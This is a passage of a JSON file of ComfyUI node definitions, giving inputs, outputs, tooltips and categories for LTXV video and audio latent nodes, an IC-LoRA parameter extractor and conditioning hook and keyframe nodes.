"Mahiro", "display_name": "Positive-Biased Guidance", "description": "Modify the guidance to scale more on the 'direction' of the positive prompt rather than the difference between the negative prompt.", "python_module": "comfy_extras.nodes_mahiro", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mahiro", "mahiro cfg", "similarity-adaptive guidance", "positive-biased cfg"], "essentials_category": null, "has_intermediate_output": false}, "LTXVLatentUpsampler": {"input": {"required": {"samples": ["LATENT", {}], "upscale_model": ["LATENT_UPSCALE_MODEL", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["samples", "upscale_model", "vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVLatentUpsampler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt_upsampler", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVAudioVAELoader": {"input": {"required": {"ckpt_name": ["COMBO", {"tooltip": "Audio VAE checkpoint to load.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["VAE"], "output_is_list": [false], "output_name": ["Audio VAE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVAudioVAELoader", "display_name": "Load LTXV Audio VAE", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVAudioVAEEncode": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "The audio to be encoded."}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "The Audio VAE model to use for encoding."}]}}, "input_order": {"required": ["audio", "audio_vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["Audio Latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVAudioVAEEncode", "display_name": "LTXV Audio VAE Encode", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVAudioVAEDecode": {"input": {"required": {"samples": ["LATENT", {"tooltip": "The latent to be decoded."}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "The Audio VAE model used for decoding the latent."}]}}, "input_order": {"required": ["samples", "audio_vae"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["Audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVAudioVAEDecode", "display_name": "LTXV Audio VAE Decode", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVEmptyLatentAudio": {"input": {"required": {"frames_number": ["INT", {"tooltip": "Number of frames.", "default": 97, "min": 1, "max": 1000, "step": 1, "display": "number"}], "frame_rate": ["INT", {"tooltip": "Number of frames per second.", "default": 25, "min": 1, "max": 1000, "step": 1, "display": "number"}], "batch_size": ["INT", {"tooltip": "The number of latent audio samples in the batch.", "default": 1, "min": 1, "max": 4096, "display": "number"}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "The Audio VAE model to get configuration from."}]}}, "input_order": {"required": ["frames_number", "frame_rate", "batch_size", "audio_vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["Latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVEmptyLatentAudio", "display_name": "LTXV Empty Latent Audio", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXAVTextEncoderLoader": {"input": {"required": {"text_encoder": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "ckpt_name": ["COMBO", {"multiselect": false, "options": []}], "device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["default", "cpu"]}]}}, "input_order": {"required": ["text_encoder", "ckpt_name", "device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXAVTextEncoderLoader", "display_name": "Load LTXV Audio Text Encoder", "description": "Recipes:\nltxav: gemma 3 12B", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyLTXVLatentVideo": {"input": {"required": {"width": ["INT", {"default": 768, "min": 64, "max": 16384, "step": 32}], "height": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 32}], "length": ["INT", {"default": 97, "min": 1, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyLTXVLatentVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVImgToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "width": ["INT", {"default": 768, "min": 64, "max": 16384, "step": 32}], "height": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 32}], "length": ["INT", {"default": 97, "min": 9, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0}]}}, "input_order": {"required": ["positive", "negative", "vae", "image", "width", "height", "length", "batch_size", "strength"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVImgToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVImgToVideoInplace": {"input": {"required": {"vae": ["VAE", {}], "image": ["IMAGE", {}], "latent": ["LATENT", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0}], "bypass": ["BOOLEAN", {"tooltip": "Bypass the conditioning.", "default": false}]}}, "input_order": {"required": ["vae", "image", "latent", "strength", "bypass"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVImgToVideoInplace", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelSamplingLTXV": {"input": {"required": {"model": ["MODEL", {}], "max_shift": ["FLOAT", {"default": 2.05, "min": 0.0, "max": 100.0, "step": 0.01}], "base_shift": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 100.0, "step": 0.01}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["model", "max_shift", "base_shift"], "optional": ["latent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "ModelSamplingLTXV", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/patch/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "frame_rate": ["FLOAT", {"default": 25.0, "min": 0.0, "max": 1000.0, "step": 0.01}]}}, "input_order": {"required": ["positive", "negative", "frame_rate"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LTXVConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "max_shift": ["FLOAT", {"default": 2.05, "min": 0.0, "max": 100.0, "step": 0.01}], "base_shift": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 100.0, "step": 0.01}], "stretch": ["BOOLEAN", {"tooltip": "Stretch the sigmas to be in the range [terminal, 1].", "advanced": true, "default": true}], "terminal": ["FLOAT", {"tooltip": "The terminal value of the sigmas after stretching.", "advanced": true, "default": 0.1, "min": 0.0, "max": 0.99, "step": 0.01}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["steps", "max_shift", "base_shift", "stretch", "terminal"], "optional": ["latent"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GetICLoRAParameters": {"input": {"required": {"iclora_model": ["MODEL", {"tooltip": "Direct output from a LoRA Loader for the specific IC-LoRA from which to extract the metadata."}]}}, "input_order": {"required": ["iclora_model"]}, "is_input_list": false, "output": ["IC_LORA_PARAMETERS"], "output_is_list": [false], "output_name": ["iclora_parameters"], "output_tooltips": ["IC-LoRA parameters extracted from the LoRA metadata (eg. reference_downscale_factor). Connect to LTXVAddGuide if the LoRA requires special handling of the guides."], "output_matchtypes": null, "name": "GetICLoRAParameters", "display_name": "Get IC-LoRA Parameters", "description": "Extracts IC-LoRA parameters from the safetensors metadata of a LoRA-loaded model and outputs them for LTXVAddGuide (eg. reference_downscale_factor).", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["ic-lora", "ic lora", "iclora", "downscale factor", "reference downscale"], "essentials_category": null, "has_intermediate_output": false}, "LTXVAddGuide": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "latent": ["LATENT", {}], "image": ["IMAGE", {"tooltip": "Image or video to condition the latent video on. Must be 8*n + 1 frames. If the video is not 8*n + 1 frames, it will be cropped to the nearest 8*n + 1 frames."}], "frame_idx": ["INT", {"tooltip": "Frame index to start the conditioning at. For single-frame images or videos with 1-8 frames, any frame_idx value is acceptable. For videos with 9+ frames, frame_idx must be divisible by 8, otherwise it will be rounded down to the nearest multiple of 8. Negative values are counted from the end of the video.", "default": 0, "min": -9999, "max": 9999}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}, "optional": {"attention_mask": ["MASK", {"tooltip": "Optional pixel-space spatial mask. Controls per-region conditioning influence via self-attention, multiplied by strength."}], "iclora_parameters": ["IC_LORA_PARAMETERS", {"tooltip": "Optional IC-LoRA parameters from a Get IC-LoRA Parameters node. Used for adjusting guide processing as required by certain IC-LoRAs (eg. those with a reference_downscale_factor > 1). When chained, each LTXVAddGuide uses only the parameters connected to it."}]}}, "input_order": {"required": ["positive", "negative", "vae", "latent", "image", "frame_idx", "strength"], "optional": ["attention_mask", "iclora_parameters"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVAddGuide", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVPreprocess": {"input": {"required": {"image": ["IMAGE", {}], "img_compression": ["INT", {"tooltip": "Amount of compression to apply on image.", "default": 35, "min": 0, "max": 100}]}}, "input_order": {"required": ["image", "img_compression"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["output_image"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVPreprocess", "display_name": "LTXV Preprocess", "description": "", "python_module": "comfy_extras.nodes_lt", "category": "video/preprocessors", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVCropGuides": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "latent": ["LATENT", {}]}}, "input_order": {"required": ["positive", "negative", "latent"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVCropGuides", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVConcatAVLatent": {"input": {"required": {"video_latent": ["LATENT", {}], "audio_latent": ["LATENT", {}]}}, "input_order": {"required": ["video_latent", "audio_latent"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVConcatAVLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVSeparateAVLatent": {"input": {"required": {"av_latent": ["LATENT", {}]}}, "input_order": {"required": ["av_latent"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["video_latent", "audio_latent"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LTXVSeparateAVLatent", "display_name": null, "description": "LTXV Separate AV Latent", "python_module": "comfy_extras.nodes_lt", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVReferenceAudio": {"input": {"required": {"model": ["MODEL", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "reference_audio": ["AUDIO", {"tooltip": "Reference audio clip whose speaker identity to transfer. ~5 seconds recommended (training duration). Shorter or longer clips may degrade voice identity transfer."}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "LTXV Audio VAE for encoding."}], "identity_guidance_scale": ["FLOAT", {"tooltip": "Strength of identity guidance. Runs an extra forward pass without reference each step to amplify speaker identity. Set to 0 to disable (no extra pass).", "default": 3.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": 0.01}], "start_percent": ["FLOAT", {"tooltip": "Start of the sigma range where identity guidance is active.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"tooltip": "End of the sigma range where identity guidance is active.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "positive", "negative", "reference_audio", "audio_vae", "identity_guidance_scale", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL", "CONDITIONING", "CONDITIONING"], "output_is_list": [false, false, false], "output_name": ["MODEL", "positive", "negative"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVReferenceAudio", "display_name": "LTXV Reference Audio (ID-LoRA)", "description": "Set reference audio for ID-LoRA speaker identity transfer. Encodes a reference audio clip into the conditioning and optionally patches the model with identity guidance (extra forward pass without reference, amplifying the speaker identity effect).", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CreateHookLora": {"input": {"required": {"lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["lora_name", "strength_model", "strength_clip"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookLora", "display_name": "Create Hook LoRA", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookLoraModelOnly": {"input": {"required": {"lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["lora_name", "strength_model"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookLoraModelOnly", "display_name": "Create Hook LoRA (MO)", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookModelAsLora": {"input": {"required": {"ckpt_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["ckpt_name", "strength_model", "strength_clip"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookModelAsLora", "display_name": "Create Hook Model as LoRA", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookModelAsLoraModelOnly": {"input": {"required": {"ckpt_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}]}, "optional": {"prev_hooks": ["HOOKS"]}}, "input_order": {"required": ["ckpt_name", "strength_model"], "optional": ["prev_hooks"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CreateHookModelAsLoraModelOnly", "display_name": "Create Hook Model as LoRA (MO)", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/create", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "SetHookKeyframes": {"input": {"required": {"hooks": ["HOOKS"]}, "optional": {"hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["hooks"], "optional": ["hook_kf"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "SetHookKeyframes", "display_name": "Set Hook Keyframes", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CreateHookKeyframe": {"input": {"required": {"strength_mult": ["FLOAT", {"default": 1.0, "min": -20.0, "max": 20.0, "step": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}]}, "optional": {"prev_hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["strength_mult", "start_percent"], "optional": ["prev_hook_kf"]}, "is_input_list": false, "output": ["HOOK_KEYFRAMES"], "output_is_list": [false], "output_name": ["HOOK_KF"], "name": "CreateHookKeyframe", "display_name": "Create Hook Keyframe", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["hook scheduling", "strength animation", "timed hook"]}, "CreateHookKeyframesInterpolated": {"input": {"required": {"strength_start": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.001}], "strength_end": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.001}], "interpolation": [["linear", "ease_in", "ease_out", "ease_in_out"]], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}], "keyframes_count": ["INT", {"default": 5, "min": 2, "max": 100, "step": 1}], "print_keyframes": ["BOOLEAN", {"default": false, "advanced": true}]}, "optional": {"prev_hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["strength_start", "strength_end", "interpolation", "start_percent", "end_percent", "keyframes_count", "print_keyframes"], "optional": ["prev_hook_kf"]}, "is_input_list": false, "output": ["HOOK_KEYFRAMES"], "output_is_list": [false], "output_name": ["HOOK_KF"], "name": "CreateHookKeyframesInterpolated", "display_name": "Create Hook Keyframes Interp.", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["ease hook strength", "smooth hook transition", "interpolate keyframes"]}, "CreateHookKeyframesFromFloats": {"input": {"required": {"floats_strength": ["FLOATS", {"default": -1, "min": -1, "step": 0.001, "forceInput": true}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}], "print_keyframes": ["BOOLEAN", {"default": false, "advanced": true}]}, "optional": {"prev_hook_kf": ["HOOK_KEYFRAMES"]}}, "input_order": {"required": ["floats_strength", "start_percent", "end_percent", "print_keyframes"], "optional": ["prev_hook_kf"]}, "is_input_list": false, "output": ["HOOK_KEYFRAMES"], "output_is_list": [false], "output_name": ["HOOK_KF"], "name": "CreateHookKeyframesFromFloats", "display_name": "Create Hook Keyframes From Floats", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/scheduling", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["batch keyframes", "strength list to keyframes"]}, "CombineHooks2": {"input": {"required": {}, "optional": {"hooks_A": ["HOOKS"], "hooks_B": ["HOOKS"]}}, "input_order": {"required": [], "optional": ["hooks_A", "hooks_B"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CombineHooks2", "display_name": "Combine Hooks [2]", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/combine", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["merge hooks"]}, "CombineHooks4": {"input": {"required": {}, "optional": {"hooks_A": ["HOOKS"], "hooks_B": ["HOOKS"], "hooks_C": ["HOOKS"], "hooks_D": ["HOOKS"]}}, "input_order": {"required": [], "optional": ["hooks_A", "hooks_B", "hooks_C", "hooks_D"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CombineHooks4", "display_name": "Combine Hooks [4]", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/combine", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "CombineHooks8": {"input": {"required": {}, "optional": {"hooks_A": ["HOOKS"], "hooks_B": ["HOOKS"], "hooks_C": ["HOOKS"], "hooks_D": ["HOOKS"], "hooks_E": ["HOOKS"], "hooks_F": ["HOOKS"], "hooks_G": ["HOOKS"], "hooks_H": ["HOOKS"]}}, "input_order": {"required": [], "optional": ["hooks_A", "hooks_B", "hooks_C", "hooks_D", "hooks_E", "hooks_F", "hooks_G", "hooks_H"]}, "is_input_list": false, "output": ["HOOKS"], "output_is_list": [false], "output_name": ["HOOKS"], "name": "CombineHooks8", "display_name": "Combine Hooks [8]", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/combine", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningSetProperties": {"input": {"required": {"cond_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["cond_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetProperties", "display_name": "Cond Set Props", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond single", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningSetPropertiesAndCombine": {"input": {"required": {"cond": ["CONDITIONING"], "cond_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["cond", "cond_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetPropertiesAndCombine", "display_name": "Cond Set Props Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond single", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningSetProperties": {"input": {"required": {"positive_NEW": ["CONDITIONING"], "negative_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["positive_NEW", "negative_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningSetProperties", "display_name": "Cond Pair Set Props", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningSetPropertiesAndCombine": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "positive_NEW": ["CONDITIONING"], "negative_NEW": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}, "optional": {"mask": ["MASK"], "hooks": ["HOOKS"], "timesteps": ["TIMESTEPS_RANGE"]}}, "input_order": {"required": ["positive", "negative", "positive_NEW", "negative_NEW", "strength", "set_cond_area"], "optional": ["mask", "hooks", "timesteps"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningSetPropertiesAndCombine", "display_name": "Cond Pair Set Props Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ConditioningSetDefaultCombine": {"input": {"required": {"cond": ["CONDITIONING"], "cond_DEFAULT": ["CONDITIONING"]}, "optional": {"hooks": ["HOOKS"]}}, "input_order": {"required": ["cond", "cond_DEFAULT"], "optional": ["hooks"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetDefaultCombine", "display_name": "Cond Set Default Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond single", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningSetDefaultCombine": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "positive_DEFAULT": ["CONDITIONING"], "negative_DEFAULT": ["CONDITIONING"]}, "optional": {"hooks": ["HOOKS"]}}, "input_order": {"required": ["positive", "negative", "positive_DEFAULT", "negative_DEFAULT"], "optional": ["hooks"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "name": "PairConditioningSetDefaultCombine", "display_name": "Cond Pair Set Default Combine", "description": "", "python_module": "comfy_extras.nodes_hooks", "category": "advanced/hooks/cond pair", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "PairConditioningCombine": {"input": {"required": {"positive_A": 